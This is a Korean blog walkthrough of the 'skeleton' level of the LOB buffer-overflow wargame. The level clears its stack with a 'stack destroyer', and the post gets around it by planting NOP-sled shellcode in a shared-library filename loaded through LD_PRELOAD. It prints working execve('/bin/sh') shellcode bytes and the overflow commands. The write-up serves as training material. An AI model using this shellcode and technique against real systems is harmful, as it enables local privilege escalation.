System/LOB

[LOB_11]skeleton

dcho 2019. 9. 24. 11:07
SMALL

skeleton // shellcoder

 

추가된 것은 stack destroyer! 버퍼부터 스택세그먼트 끝까지 모두 초기화 시킨다.

export HA=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

환경변수를 추가해 공격을 시도해 보았다.

주소 :  0xbf ff fe 8d (little endian : \x8d\xfe\xff\xbf)

./golem `python -c 'print "\x90"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x8d\xfe\xff\xbf"'`

하지만 모두 초기화 되는 영역에 존재하기에 소용이 없다.

그렇다면 어디를 이용하면 좋을까?

해결방법은 LD_PRELOAD에 있다. 

※ LD_PRELOAD     

  • 프로세스를 실행하는 중에 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출한다. 이러한 특성을 이용하여 후킹을 할 수 있다.

(http://ddubucker.tistory.com/entry/LDPRELOAD-%ED%9B%84%ED%82%B9-%EA%B8%B0%EB%B2%95)

 

메모리 구조를 보면 확인해 보면 

LD_PRELOAD의 메모리 영역은 공유 라이브러리 영역인 stack의 지역 변수 (buffer) 영역 위(낮은 주소)에 존재한다.

먼저 빈파일을 생성해 gcc 공유라이브러리 컴파일을 해준다. (빈 파일 없이 파일 경로만 적으면 에러를 띄우기 때문!)

-fPIC 옵션 : Position-Independent Code의 약자이며 sh.o파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션

-shared 옵션 :  공유 라이브러리를 만드는 옵션

gcc -fPIC -shared -o `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` sh.c

정상적으로 에러없이 생성된것을 확인하고 생성된 파일을 LD_PRELOAD 환경변수에 등록을 한다.

여기서 주의할 점은 절대경로로 넣어주었다는 것이다. 그래야 오류가 나지 않음.

문제 사본을 만들어 세폴트를 유도한뒤 gdb 로 디버깅을 하여 우리가 원하는 NOP을 어느정도 포함한 쉘코드 주소를 찾을 수 있었다.

쉘코드 주소 : 0xbffff5a0 (little endian : \xa0\xf5\xff\xbf)

./golem `python -c 'print "\x90"*44+"\xa0\xf5\xff\xbf"'`

클리어! LD_PRELOAD를 몰라 방황을 많이 했던것 같다. 

 

 

 

'System > LOB' 카테고리의 다른 글

[LOB_13]darkknight  (0) 2019.09.24
[LOB_12]golem  (0) 2019.09.24
[LOB_10]vampire  (0) 2019.09.24
[LOB_9]troll  (0) 2019.09.24
[LOB_8]orge  (0) 2019.09.24